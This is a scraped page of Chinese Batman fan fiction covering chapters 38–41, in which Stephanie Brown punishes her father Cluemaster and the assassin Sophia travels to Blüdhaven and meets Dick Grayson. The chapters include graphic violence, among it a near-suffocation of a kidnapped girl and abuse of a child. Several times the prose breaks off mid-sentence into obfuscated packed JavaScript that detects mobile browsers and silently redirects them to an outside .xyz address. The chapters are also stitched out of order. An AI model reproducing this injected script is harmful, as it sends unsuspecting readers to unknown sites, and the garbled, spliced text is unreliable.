无所事事的亚当干脆把少女脸上的胶带加固了许多，为了防止少女发出声音吸引外界的注意，亚当把自己裤兜里那条脏兮兮的手帕团成团塞进了女孩的嘴里，随后才用宽胶带封上了少女的嘴巴。一圈又一圈的胶带覆盖在原先的束缚上，少女的挣扎也渐渐减弱。 亚当简直难以控制手上的动作，他想起来被他一脚踹进河里的野狗，想起来他在小巷里用水果刀一次次捅进腹腔的对着他阴阳怪气的老师，想起来平日里对着他指手画脚的老头是怎么倒在地上死去的。 掌握他人生命的权力算得上最好的毒品，被潮水一样的快感冲昏了脑子的亚当手指一偏，胶带便覆盖上少女唯一能用来呼吸的鼻子，缠上了一圈一圈又一圈。 38.第 38 章 “我还是感觉有什么不对，哥，你要不再看看。” 胖子的声音在身后响起才终于唤回了亚当仅存的神志，这时亚当才意识到少女的口鼻全部被胶带缠住，应该会有窒息的危险。 虽然理智上，亚当再清楚不过自己得把胶带拆开，至少把少女的口鼻露出来，要是她死了，大家要从哪里拿到赎金。 “你真以为她会放过你吗？她看到了你的脸，只要她回家，GCPD就会冲进你落脚的狗窝，拿枪对着你的脑袋清空弹夹，到时候大小姐还是大小姐，而你只能是一坨烂狗屎了。” “你不恨吗？为什么这女孩随随便便就有这么富裕的家长能随随便便掏出来几百万付赎金，而你呢，亚当？哦对，你是条野狗，死在路上了也没人会在乎。可是，凭什么呢？凭什么？” “那是她应得的，在哥谭绑票之后撕票不是最正常不过的吗？有什么可怕的，杀了她，拿着钱，你和几个兄弟都能吃香的喝辣的。” 不知道什么时候出现在手机里的匿名短信正一句一句挑拨着亚当本就不坚固的心弦，他应该把出现的神秘信息告诉给头儿的，可是…… 凭什么呢？信息说的没错，有的人生来就在罗马，而像亚当这样的烂人，一辈子用尽全力也爬不进罗马。 杀了她，没人会知道的，头儿能怎么办？只能帮忙遮掩事实，要是这女孩已经死了的消息传出去，他照样拿不到钱。 “不过，亚当你真的好可怜，明明你平时干活最多不是吗？上上次，抢银行的时候线索大师什么都没做，而你被夜翼的电棍电的尿了裤子，可是转头来没人在乎你的付出，线索大师还要骂你没用。” “上次在码头，线索大师看到蝙蝠侠就要逃跑，又是只有你在挨揍。可是到头来，线索大师给了你多少钱？一百万？十万？哦不，是可怜的五万块，你是不是还花了三万给胖子的妈妈交医疗费？” “你管那么多做什么？那些钱都应该是你的。不光是那五万块，你还能有更多，更多……” 亚当缩回了想要解决少女的手，对着少女憋得通红的脸，几乎压抑不住嗓子眼里弥漫而上的瘙痒和随之而来的笑意。 亚当再次摸向了被他藏在宽大口袋里的水果刀，那把老伙计从他初出茅庐到现在一直陪伴着他，而现在他找到了最好的机会，如同数年前他找到机会杀死同学抢钱的那次一样。 亚当来不及思考，短时间内大量分泌的肾上腺素让青年涨红了脑袋，歇斯底里起来。 就在那把刀即将捅进毫无防备的线索大师身体中时，剧烈的疼痛迫使亚当松开了攥着刀把的手，水果刀掉在地上的声音格外清脆却没吵醒已经进入睡眠的线索大师。 在血色过后青年才意识到原来是一把蝙蝠镖插进了手掌，这也是剧痛的来源。紫色披风的义警蹲在角落，划开了胶带取出了少女嘴里的手帕，缓缓站起身来将少女护在身后。 亚当定睛一看，终于看到了早就被义警放倒的胖瘦二人，青年用另一只手抄起水果刀就冲着少女的方向刺去。 预料中刀具划破□□的响声并未出现，取而代之的是失去着力点后的急速摔倒，以及被拎着衣领向地板重重摔去的瞬间带来的钝痛。 亚当想要睁开眼继续反击，就看到了迎面而来的拳头。 随后便是一片黑暗。 亚瑟布朗醒来的时候只感受到带着热气的水滴在脸上划过的潮湿，男人半天睁不开眼睛，正要张嘴扯着嗓子使唤自己几万块就能唯首是瞻出生入死的小喽啰，却发现发不出一丝声音。 “好久不见，线索大师。”低沉的女声在身后响起。 线索大师觉得这声音有几分熟悉，却始终找不到头绪，在努力睁开眼睛后，眼前的景象几乎让男人的括约肌放松到原地飞翔的地步。 他正在预计有几十层高度的位置，如果没猜错他正被倒吊在哥谭某一处高楼边缘，上下颠倒的视角是因为被用绳索捆住的脚踝。 线索大师这才顺着声音的方向看到了声音的主人。 紫色的兜帽下是金色的长发，女性被面具挡住了脸难以辨别身份，被紧身衣包裹的身体锻炼痕迹明显，随便一拳就能让亚瑟见到死去几年的老婆。 “恭喜你，又失败了，像是你的反派生涯一样，无用无能。”女性用手上的长棍戳了戳连接线索大师的绳索，让男人在空中开始更大幅度的摇晃。 “你根本不懂我，我只是差一个机会，只要我能抓住这次机会，所有哥谭人都会认识我。” “认识你丢人现眼吗？你那些蹩脚的线索拿给蝙蝠侠看的时候不会觉得羞愧吗？电话号码？你怎么能想出这么蠢的东西来？” “那些线索要是拿给谜语人看，谜语人都恨不得出狱杀了你这个会败坏他名声的弱智，我以为你有多高级的手段。” 女性的语气里带着满满的嘲讽，熟悉的被贬低的语气让亚瑟怒火中烧。 “你也只是个只知道躲在人背后的胆小鬼，为什么不出来和我单挑，我会让你知道线索大师的厉害。” “厉害？你是说抢银行对着防弹玻璃开枪？还是在码头刚接到货就遇到蝙蝠侠，被打的尿裤子？还是说只敢对小女孩动手？” “我还敢打其他人呢？有个女人脸都被我打成猪头了还不愿意走，要我说她还没那个不听话的女儿有本事，我就该把她卖去站街，那个小丫头片子有别的用处，要是跟着我工作估计能抗不少打。” 空气中满是沉默，线索大师自以为用语言就震慑住了义警，心里只觉得不愧是个小女孩就是会被大人的话吓到，便开始夸夸其谈，讲自己懦弱胆小的妻子，讲不听话就被他殴打的女儿，讲他的妻子是怎么苦苦抓着他的裤脚求他别走的。 义警回复的只有沉默，接着便是机械运作的响声。 线索大师来没来得及收回大放厥词时的嚣张，便眼睁睁看着捆着自己脚踝的绳索突然断开，将要坠落的恐惧让男人不顾所谓大师的矜持，从嗓子里冲出尖叫声。 空气刮过脸颊如同被刀片划过，亚瑟几乎能感觉到脸上被划出的细微伤口，平日里再熟悉不过的高楼显得无比遥远，身体出于生存本能下意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你都四十了还年轻呢？干脆承认自己是废物不好吗？既然知道自己没用为什么不去死，还能理所当然的向所有人伸手要钱，你知道大家都想杀了你吗？” “我是你爸你不能这么对我，我是个罪犯你也是，你真以为自己当得了义警吗？”被激怒的女儿让亚瑟回到了熟悉的位置，比起歇斯底里的女儿冷静的过分的女儿显然更难对付“他们都会因为我而排挤你，因为你身上流着罪犯的血，无论你做什么他们都能用罪犯的身份来指责你。” “无所谓。”斯蒂芬妮恢复了平静，放下了抓着男人头发的手“我想做的事只有一件，就是永远的阻止你。无论你去盗窃，去抢劫，去杀人，我都会阻止你，你会在余生都在监狱里度过，直到临死前都无法摆脱自己是个废物的事实，等到你死了我还会在你的墓碑上刻上一行字——这里是亚瑟布朗的坟墓，他是一个废物。” “你不能这么做，我是你爸！”男人的尖叫格外凄惨，接下来是一次又一次高空坠落的体验。 “我当然可以。”斯蒂芬妮戴上兜帽，听着由尖叫声构成的乐曲，勾起了嘴角“因为我是罪犯的女儿，爸爸，我也是罪犯。” 39.第 39 章 尖叫声响彻了整座大楼，直到几人迷迷糊糊醒来看到站在面前的罗宾，才意识到犯罪计划的完全失败。 “我们需要谈谈，搅局者。”蝙蝠侠看向还在自由落体的线索大师，在对方升至高处时关停了机关。 金发少女转过身来，脸上还带着被打断泄愤的无奈。 “好吧好吧，蝙蝠侠你想谈些什么？我知道我有点过分，要是需要坐牢也没关系，但至少让我和索菲亚说一声，她还在家等我吃饭呢。” “但是我一没有殴打他二没有虐待他，这连恐吓都不算吧。”少女挑眉，露出一个公式化的微笑，笑意却只是流于表面。 “你在引导他犯罪，你提前知道了他的犯罪计划并一步一步引导他进入危险的境地，在港口□□火拼时的流弹随时可以要了跟着他的几个孩子的命。” “我有分寸，他们没事不是吗？” “再过五分钟史黛拉斯维奇就会因为窒息脑死亡，你的复仇就是让一个无辜的孩子被罪犯伤害吗？” “所以我出手了，她没事不是吗？我承认我没想到那个小喽啰为什么对这孩子有这么大的恨意，但她已经安全了可能受了些惊吓……”斯蒂芬妮说话的声音越来越小，直到声音彻底消失。 “你的情绪影响了你，所以你丧失了对局面的掌控，如果这个孩子因你而死，你要怎么办？” “……” “你的一生都会被愧疚所笼罩，即使不是你伤害了这个孩子，但负罪感和愧疚感会伴随你一生，时隔多年等到你死去的时候你想起的不会是你所经历过的快乐与幸福，而是这个孩子因为你而遭遇了这些不幸……” “玩弄犯罪本身也是一种犯罪，斯蒂芬妮。” 后面的话斯蒂芬妮听不真切，直到夜风吹在脸上，她才意识到自己已经落荒而逃。 斯蒂芬妮不想回去，即使索菲亚大概率还在家等她，或许准备了足够塞满了冰箱的零食和饮料，但年轻的义警实在不知道怎么面对亦师亦友的同伴。 等到意识回笼，斯蒂芬妮发现自己正站在楼顶，而视野的对面就是自己做梦都想逃离的地方。 曾经那里还是斯蒂芬妮的家，即便对妈妈心怀不满，但少女还是没办法抹去这个曾经每晚都亮着灯的地方带给自己的温暖和力量。 妈妈是十足的料理杀手，大多数时候她只是在超市把那些半成品都堆在一个大锅里加热，偶尔加些块头极大的萝卜土豆，斯蒂芬妮要用尽浑身解数才能吃完这一碗味道过于丰富的炖菜。 大锅里还躺着几片早上没吃完的培根，一整块的斯帕姆午餐肉被用餐刀挖出压碎了融进了汤汁里，豌豆同样是罐头产物，加在一起按理来讲不会很难吃，除了妈妈突发奇想加进去的酸奶油。 这一锅炖菜，斯蒂芬妮和妈妈往往要吃上三天，直到锅里的蔬菜完全不成样子，才宣告炖菜生命的结束。 斯蒂芬妮站在熟悉的家门前，却心生胆怯，脚步如同灌了铅一般难以挪动一步，数次深呼吸后，斯蒂芬妮还是决定进去看看。 “就当是和妈妈告别了。” 斯蒂芬妮心想，弯腰从家门口的花盆底找钥匙。 妈妈记性不好弄丢过好几次钥匙，最后才决定放在花盆底下，即使一个人忘记了另一个人好歹还能记得。 只是，熟悉的钥匙不见了踪迹。 少女的手略微停顿后，便是更加细致的翻找，随后更是将花盆完全翻转过来，甚至伸手把花盆里干硬的土全都刨了出来也没看到那枚闪着亮光的钥匙的影子。 斯蒂芬妮什么都记不起来了，钥匙，书包，妈妈。哦对当时自己压根没有钱买墓地，妈妈的骨灰还存放在火葬场里。 斯蒂芬妮坐在楼梯上双手环抱着膝盖，如同小时候没带钥匙等着妈妈开门的每个下午一样。 眼睛越发酸涩，蓝色的瞳孔转动几圈，还是没能留住从泪腺分泌出的生理盐水，眼泪一滴一滴的落在地上。 此时楼道里的声控灯因为长久的安静终于也停止了工作，徒留金发少女一个人坐在漆黑的楼道里，等一个再也不会回家的人。 直到天亮，斯蒂芬妮才顶着肿的像核桃一样的眼睛回家。 为了对付线索大师，斯蒂芬妮将近一周都不在家，索菲亚倒也见怪不怪，这期间斯蒂芬妮没听神谕有提到索菲亚的事，便猜好舍友估计躺在家里cos蘑菇去了。 斯蒂芬妮遇到了热狗摊，从口袋里掏出零钱买了几个打算回去当做早饭，如果回去后发现索菲亚还没醒，那当午饭吃也不是不可以。 拎着打包好的斯蒂芬妮整理好思绪，用钥匙打开了门锁，将热狗在餐桌上放好后却没听到来自索菲亚例如翻身，撒娇，在房间走来走去的各种动静。 斯蒂芬妮打开索菲亚房间的门正想叫女孩出来吃饭，映入眼帘的便是空无一人的床铺，存放装备的衣柜同样空无一物，只是斯蒂芬妮在家里找了一圈也没找到索菲亚一向会留下的交代自己行踪的纸条。 金发少女只能当同伴有了任务忘了留消息，只能等两天再做打算。 又过了三天，斯蒂芬妮终于意识到，索菲亚失踪了。 索菲亚正和前任同事林肯一起处理些过去残留下来的一点点微不足道但足够两只有异心的利爪当场被拧断脖子的小线索。 按照原计划，在斯蒂芬妮不在家的这几天，索菲亚应该快乐的躺在床上刷一周的tiktok。 直到看不下去的提姆或者蒂娜或者斯蒂芬妮把索菲亚拉出门活动，让索菲亚这只习惯夜行的猫头鹰怪人意识到自己见到阳光原来是不会立马死掉的。 就在斯蒂芬妮离开的第二天，去楼下打包披萨的索菲亚在自家门口遇到了终于愿意脱下一身精英打扮的林肯马奇。 “如果因为你让我被法庭追杀的话，我一定把你也供出来我们同归于尽。”索菲亚从口袋掏出钥匙背对着林肯打开了大门“我只买了一份披萨，想吃的话自己点外卖。” “有些麻烦找上门了。”林肯皱着的眉头几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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急冻人把谈好的装备装进了集装箱里，索菲亚确认过没有问题后，林肯手下的人就会把这箱东西运走作为对付利爪的后备资源。 如果一方真的遇到不测被法庭处理，另一方也能带着这批物资投奔蝙蝠侠给法庭添点大麻烦。 索菲亚穿戴好利爪的装备，即使真的倒霉遇到同事，也能以任务的名义混过去。 只是有一点索菲亚无法理解，为什么负责收养利爪预备役的青柳小屋会有自己的资料。 从梦中醒来，索菲亚一直懒得思考自己的来历，她下意识认为自己如同游戏角色一般，只有索菲亚进入这个世界，世界才会真正的运转。 即使之后有过怀疑，但是在检查身体过后，索菲亚可以断言这就是自己的身体，并非是小说里穿越进其他人身体内被称为夺舍的剧情。 可是林肯的话让索菲亚不免有些怀疑，自己的记忆真的没有错吗？那些记忆里到底藏着什么呢？林肯又在隐瞒些什么？ 40.第 40 章 索菲亚拿着钥匙打开了集装箱的门，如预料一般放满了装备，包括急冻人之前用过的急冻射线枪，被射线攻击后只有不到十一分钟的时间进行解冻，否则迎接对方的只有死亡。 对方还友情赠送了一部分手雷款式的速冻装备，方便应对小范围空间内的多种敌人。 不夸张的说，这里存放的急冻设备能让大多数利爪失去行动能力，只是在使用时索菲亚不太确定被冰冻后自己会不会受到影响。 清点过数量后，索菲亚重新将集装箱锁上，只是上锁前顺走了一点手雷以防不时之需。 接下来的工作就只有确认威廉科布的行踪了。 只有在这时索菲亚才开始后悔为什么监护人追漫画的时候自己不凑上去翻一翻，不然也不会沦落到连被迫匹配的同事都完全对不上脸，想要杀人灭口都困难的程度。 据林肯马奇说，威廉科布曾经是一个马戏团的杂技演员，但是具体在哪个马戏团，林肯自己都说不清楚。 “你这个脑子以后还是别做市长了，明天小丑就去给你炸上天。” “已经炸过了。”林肯掀起夹克和内衬露出失去了后背失去皮肤的鲜红肌肉“不过不是小丑，是企鹅人，他在我的住所安了炸弹，险些给我眼珠子炸出来。” 马戏团，这线索说大不大说小不小，在几十年甚至上百年间在哥谭演出过的马戏团里找到威廉科布实在算不上容易，索菲亚只能寄希望于林肯马奇的脑子再努力一下。 “但我知道有个哈利马戏团一直在给法庭提供利爪储备，十年前有个预定的利爪要进法庭的，但是出了点意外那孩子的父母都死了，那孩子也被布鲁斯韦恩截胡带回家当养子了。” “这些年哈利马戏团推荐的利爪人数不在少数，显得我们这帮从青柳小屋来的都像是没什么本事的废物了。” “那会大家刚开始训练，那帮马戏团的身手好得很，我们打也打不过跑也跑不过最后只能挨罚，一根皮鞭从头抽到脚疼的晚上睡不着觉。” 林肯说话时余光看向索菲亚，确认对方没注意到自己后将视线又移了回来。 “哈利马戏团最近似乎在布鲁德海文演出，我知道的情报是威廉科布似乎也在那附近游荡，如果碰上了跑就是了。” 这也是索菲亚搭车离开哥谭的原因，斯蒂芬妮和提姆最近都有事要忙，发短信通知行程显得有些多余，索菲亚有信心三天就能解决布鲁德海文的事。 布鲁德海文，一座经典的沿海城市，位于新泽西州的哥谭附近，是一座名副其实的因港口而生的城市。过去这里以鲸鱼闻名，沿海的港口每年出口的鲸鱼制品数量惊人，就连当地流传的童谣大多也和鲸鱼有关。 但是在长时间的捕捞后鲸鱼几乎销声匿迹，过去热闹的港口变得萧条。 直到一群人的到来重新点亮了萧条的港口，各种非法交易如同荆棘一般野蛮生长彻底占据了这里，并顺着城市脉络不断延伸，层出不穷的帮派，罪犯，违禁药物构成的大网彻底将这座城市覆盖。 不过比起民风淳朴的哥谭，布鲁德海文甚至算得上阳间，毕竟这里可没有会原地爆炸后释放大量有害反派的阿卡姆精神病院。 在布鲁德海文驻扎的义警自然是夜翼，罗宾给索菲亚写的科普文档里有提到各位义警以及其驻扎的城市，比如和大都会深度绑定的超人，位于星城的绿箭侠，中心城的闪电侠。 这些东西不算难记，但装死已久的系统“滴”地一声蹦了出来，并贴心的附上了常见怪物分布图以及其特点，看着只存在于虚空中的长达八十万字打印出来有接近十厘米厚的长篇巨著，索菲亚只觉得天要塌了。 至少比起成本高昂的银制子弹，用这本怪物科普大部头去暴击怪物的脑袋可能更容易造成巨额伤害。 在公车上，索菲亚尝试打开这本猎魔人教科书，但是在翻开书不到一分钟的时间里，少女便昏昏沉沉的失去了意识，闭眼前也没看清楚天蛾人的传说到底发生在美国哪个州。 公车上实在嘈杂，几个青年人夹杂着kill fuck字眼的交谈，被抱在妇人怀里哭闹不停的小孩，拿着手机外放通话喋喋不休的女人，索菲亚被吵的脑仁疼，想从背包里拿出蓝牙耳机放点声音抵挡公车上的噪音，却摸了个空。 睁开双眼，在公车上扫视一周，站在后门等待下车的年轻人显得过分可疑。 那人看长相应该在二十岁上下，一身篮球服打扮像是刚参加完比赛回程的学生，但却不见这趟班车上大家都带着的行李。双手插在鼓鼓囊囊的口袋摆弄着兜里的东西，双眼四处乱扫，在看到索菲亚时眼神时却快速移开视线。 结果过分明了，索菲亚干脆放弃睡觉，睁着眼盯着年轻人，看看对方会有什么样的反应。 对方又是抓耳挠腮，又是左顾右盼，看向车门外的眼神过于焦灼，恨不得司机立马停车能让他逃之夭夭。索菲亚干脆用手托着下巴，一边翻书一边用余光关注着青年。 “都市传说中的天蛾人属于谣传，当地存在大量沙丘鹤，大概率是当地人看错后导致的结果。克伦德宁后续发生的天蛾人杀人事件则与炼金术师索恩有关，此人将大量人类改造成传说中的天蛾人的外形……” 车窗外的风景随着车速的移动的速度越来越慢，索菲亚不紧不慢的收好背包，也跟着挪到了车门的位置，站在了青年身后。 青年的身体紧绷起来，手心紧紧抓住扶手，连鞋带松了都没注意到。索菲亚能看到对方身上的毛孔中因为紧张流出的汗水，显而易见这还是个菜鸟。 索菲亚放下了逗弄菜鸟的心思，提前下车把东西拿回来算了，要是在公共场合打架把警察引过来就麻烦了。听说夜翼就在布鲁德海文做警员，现实中以这样的情况见面就算是对于猎魔人来讲也属于十足的黑色幽默。 “吱呀——”车门缓缓开启，索菲亚上前一步将青年松开的鞋带踩住，看着青年打了个趔趄险些摔倒只能下意识将另一只手也伸出保持平衡，擦肩而过的瞬间少女从青年松松垮垮的口袋里摸出耳机仓下车。 青年还来不及为摆脱了失主而兴奋，就看到了索菲亚手里捏着的本该在自己口袋里的战利品，可公车的门已经关上，载着青年飞速的离开。 “这本书能让我打印出来吗？这么厚要看到猴年马月。”索菲亚戴上耳机假装在通话，嘴里嘟嘟囔囔的跟系统抱怨道。 “抱歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我有听提姆讲过，这个年纪吃的多一点也不算什么，我青春期的时候像头牛一样差点把家里的饭都吃干净，连布鲁斯都只能阿福阿福的叫，等新的食物上桌。” 索菲亚脑子里立马出现了画面，红绿灯一样配色的罗宾小鸟是怎么在餐桌上嗷嗷待哺喊饿，把餐桌上所有食物都一扫而空。而哥谭恐惧的化身，复仇者，义警漆黑大蝙蝠只能扁扁的饿着肚子等着在厨房里几乎把锅铲抡冒烟的阿福端上新的食物。 索菲亚没忍住笑了出来，在迪克的提示下才想起来要接过打包好的塔克，男人的那份则要再等几分钟。 “你有地方住吗要入夜了，一个人在布港游荡还是很危险的。” “你觉得我会害怕危险？” 索菲亚侧头眨了眨眼睛。 “我认为晚上出现的罪犯比较危险，所以为了罪犯的安全着想，能允许我带你去酒店吗？那家酒店各方面都不错，不管是服务质量还是饮食相关。” “不用担心破费，布鲁斯在那里有个房间，常年空置，花销都记在B头上。” “……” “真的不去吗？那家提供的披萨汉堡意面都很好吃的。” 那双蓝色的眼睛在桔黄色的夕阳下格外有存在感，或许是美食的诱惑，索菲亚终于是无法抵抗，点头表示同意。 41.第 41 章 迪克有辆酷炫的像是进入了好莱坞大片里随时可以进行激情追逐战的哈雷摩托，索菲亚对摩托了解不多，但监护人尤其钟爱哈雷，倒也能靠眼熟认出来，但聊到具体的型号配置索菲亚就说不上来了。 那辆车仅仅是停靠在路边就足够吸人眼球，索菲亚也忍不住多看两眼理解了监护人为什么爱的这么深沉。 迪克长腿一跨招呼索菲亚走近。 “我送你过去，我刚好有事要处理。” 索菲亚倒也没拒绝，跟着上了车调整好了位置。 “警察很忙吗？晚上了还要加班，我看GCPD也总是晚上加班。” “倒也没有，今天是……其他的工作，不算麻烦收个尾就可以结束了。” 不用直说，索菲亚就知道大概率是夜翼那边还没处理完的事，大概率和当地的帮派有关。 “那你呢？怎么突然想到来布鲁德海文了？散心的话其实我更推荐大都会。” “我的朋友告诉我很有名的哈利马戏团在这里演出建议我一定要来看，我正好有空就来了。” “那你可就找对人了，飞翔的格雷森向你问好。”迪克的语气里带了些得意，即使在男人身后索菲亚也能想到男人意气风发的样子“在跟布鲁斯一起生活前，我都在哈利马戏团生活，论起杂技我可是B的老师。” “我之前见过，动作很棒观赏度很强，我可以打满分，如果你还在马戏团演出的话我要每周都看一次。” “借你吉言。”男人的笑声格外爽朗，在凉爽的夜风里响起多少有些魔性。 迪克提到的酒店是位于布鲁德海文市中心翡翠酒店，机车刚刚停下索菲亚就抬头看到了酒店的大门。代表酒店名字的英文字母被镶嵌在大理石板上，门童在酒店门口迎接等着从两人手里接管行李。 索菲亚有些茫然，摸索了一阵最后把身后背的几十块买来的装了基础装备的便宜书包递了过去。 “不用整理，原封不动送到布鲁斯的房间就行。”迪克拎起书包掂量了一下递给了门童。 “放心，布鲁斯几乎没来住过，他在全世界几乎每个城市的豪华酒店里都有个房间，就算是三百六十五天全年无休也住不过来。不过我们有一年去夏威夷，酒店外就是海滩，只可惜他在假期的第三天就因为冲浪撞到了礁石，只能打着石膏打道回府，这事还上了哥谭日报头条。” 迪克略领先索菲亚半个身位，带着明显对金碧辉煌的酒店大厅满脸迷茫的女孩熟悉路线。 “我之前住的公寓被淹了，没办法只能打包抢救下来的行李来酒店睡了一晚，第二天醒来我躺在床上想了十几分钟是非要回家面对烂摊子吗？” “你的公寓没有维修和打扫服务吗？” 迪克摇头脸上露出苦笑。 “我的公寓一个月的租金在一千五，里面的大多数家具还是我在二手市场淘来的，一整个公寓的家具加起来还没蝙蝠车的配件贵，维修全靠我自己。” 索菲亚打开手机查询这家酒店的价格，看到普通套房的价格一夜下来就要两万美刀打底，如果是哥谭小王子布鲁斯韦恩的房间只怕这个数字还能往上翻几倍。 索菲亚算了笔账，在这家酒店一星期的花销能够自己和斯蒂芬妮在楼下的披萨店连续一年每天都点一本菜单的饭，还能省出更新装备的钱。 无数的美元符号几乎在头顶打转，被金钱迷了眼的索菲亚被糖衣炮弹打的不知所措，亦步亦趋的跟在迪克身后。 即使是再无畏的猎魔人战士，面对绝对的金钱还是会表现出迷茫。 “你说韦恩先生能不能莫名其妙给我卡里打钱。” “我也希望。”迪克叹了口气“最好再送一辆蝙蝠车过来，我可以每天开喇叭宣告这个好消息。” 两人眼神对视，在迪克那双和提姆有些接近的蓝色眼睛里，索菲亚只能看出穷鬼之间的同病相怜。 “没关系，我这几天可以每天都来酒店蹭吃蹭喝，努力两千年我应该能把韦恩吃破产。” 迪克刷开了房门，在灯光亮起后，宽敞的陈列着简约风家具的客厅出现在了索菲亚的视线里，首先映入眼帘的就是成套的白色的布艺沙发和与之对应的黑色真皮沙发。两件家具其实被圆形或方形的桌子相互隔开，留有一定距离，颜色上呈现泾渭分明的差异，显得格外有规则感。 落地窗被乳白色的丝质窗帘遮挡了部分，在这层窗帘外还有一层厚重的足以遮挡所有光线的窗帘，只不过为了让人能欣赏窗外的夜景暂时被拉开。 窗外，是灯火通明的布鲁德海文，近处是酒店精心展现的自然风光，黑天鹅白天鹅悠闲的在人造湖泊漂游，草坪上是精心修剪的各类树木，玻璃花园中价格高昂的每滴露珠都在燃烧着金钱的鲜花传来香气。 即使在夜间也被路灯照亮，只是在白昼的基础上加上一层便于欣赏的暖黄色的灯光。 远处，是满是铅华的由金钱洗礼而成的繁华都市。 和哥谭一样，布鲁德海文市中心的高楼大厦从来没有关灯的习惯，电流在钢铁城市中流动，留下光怪陆离的各色灯光，铸就了又一座被欲望浸染的不夜城。 “早点休息吧，有什么需要打电话给前台就好。我明天忙完了就来找你。” 迪克离开了房间顺手关上了房门。 索菲亚没有急着检查装备，而是大概搜寻了一圈没找到可能存在的监控或者监听设备后，才放下戒心打开了背包。背包空间不大，索菲亚没带制服和长刀，除去能有急冻效果的手雷外，最多塞了把开过刃的短刀。 酒店的床格外柔软，只是躺在上面就能感受被床垫弹来弹去的快乐。 洗了个战斗澡，索菲亚披着湿漉漉的头发趴在床上玩手机，刚翻了不到几页，系统的提示伴随着苹果手机自带的闹钟铃声在少女的脑子里开始爆炸。 “在看了在看了，别催了。” 索菲亚不得不爬起来拿起床头的电话叫前台送上纸笔，按照系统的要求老老实实的把东西都手动记录下来。 在等待的过程里，索菲亚只感到无限的悲凉，就算是蝙蝠侠也不至于想出让学徒手抄笔记加深记忆的烂办法，迪克犯了错也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15972663|175935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在蝙蝠洞里哭着鼻子抄书吗？ 开门取到笔记，索菲亚有了主意，反正是自己看抄个关键词就好了，又不会有人会来检查作业，自己能看懂就好。对着第一章长达几千字的天蛾人，索菲亚大概记下了几个代表特征，弱点，来源的关键词后就快速翻到了下一页。 至于之后是怎么困得睁不开眼，又是以怎样的姿势爬上床的，索菲亚一概不知。 ———————————————————— 面对模糊的，像是受损录像带一样的画面，索菲亚知道自己在做梦。 第一人称游戏的视角显得格外狭窄，画面里那只带着长条状淤青的小圆手显得格外熟悉，那只手趴在地板上拿铅笔和蜡笔在笔记本上涂画着什么。 一个圆圈，另一个圆圈，歪歪扭扭，横七竖八的纸面上排列着，最后组成一只滑稽的呆头呆脑的猫头鹰。 那是索菲亚记忆里会画的第一个图案，在大猫头鹰难得大发慈悲施舍而来的空闲时间里，索菲亚总是撅着屁股在封面是芭比娃娃的本子上学着阿尔伯特的样子在上面画呆头呆脑的一看就抓不到猎物的猫头鹰。 阿尔伯特当然不是那个需要写报告的苦逼打工人，他只需要把手下那群猫头鹰的报告整合在一起交上去就算完成了工作，男人大多数时候才是那个在其他猫头鹰被打回去重写的报告上画猫头鹰的恶趣味家伙。 只可惜索菲亚在画画上实在算不上有天赋，画了几个月本子上只有密密麻麻的猫头鹰脑袋。 画面里的手随着时间变化不再圆润，婴儿肥渐渐消散，抓着笔的手更加的坚韧，索菲亚抬眼看到了本上的血迹。 下一刻，笔在手心消失，取而代之的是柔软的如同棉花糖一样的玩偶。 大猫头鹰将这只被放在襁褓里的玩偶交给索菲亚，手把手教女孩把双手放在玩偶脖颈两侧，冒着热气的还在跳动的血肉构成的质感格外突出。 索菲亚能感受到对方审视的眼神，过去的经验告诉女孩接下来的便是惩罚，如果是体能训练或者□□上的惩罚，对天生情感的淡薄的女孩而言不算什么。 只是阿尔伯特不久前发现了索菲亚的目前唯一的恐惧。 饥肠辘辘的，肠胃如同火烧一般炙热的痛楚，让即使遭受骨折，刀伤，烧伤都面不改色的女孩第一次流下了泪水，大脑完全将食物与生命画上等号，即便是再粗糙再难以下咽的食物，索菲亚都能毫不犹豫的塞进肚腹之中。 即便是淌着污水的厨余垃圾，还是代表着穿肠破肚痛苦的毒药，只要是能够进入食道的东西，索菲亚宁愿饮鸩止渴。 双手用力时，索菲亚能够听到细小的骨头断裂的响声，可手上的东西仿佛真的是只没有知觉的玩偶，不哭不闹发不出一丝声音。 即使将作为勇气奖励的食物拿在手中咀嚼吞咽，索菲亚仍旧忘不掉玩偶的柔软的手感。 在长久的宁静中索菲亚停止了咀嚼，从嘴里吐出一件坚硬的异物，那是一颗乳白色的牙齿。 随之而来的还有在口腔中蔓延的，挥之不去的血腥味道。 23-30 第23章 伴随着热心钓鱼佬在清晨发现的两具尸体, 施耐德一家的案子草草结束。 即便罗宾把手头能证明鲍尔斯涉嫌人体实验的所有证据都塞给了GCPD，最后的结果也不过只是把当时的负责人送进了黑门监狱，对于鲍尔斯这样的哥谭本地家族来讲这点事连皮外伤都算不上。 即便早就做好了心理准备, 